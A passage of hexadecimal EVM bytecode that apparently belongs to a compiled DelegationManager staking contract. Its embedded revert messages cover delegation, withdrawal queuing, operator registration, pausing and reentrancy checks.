de674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565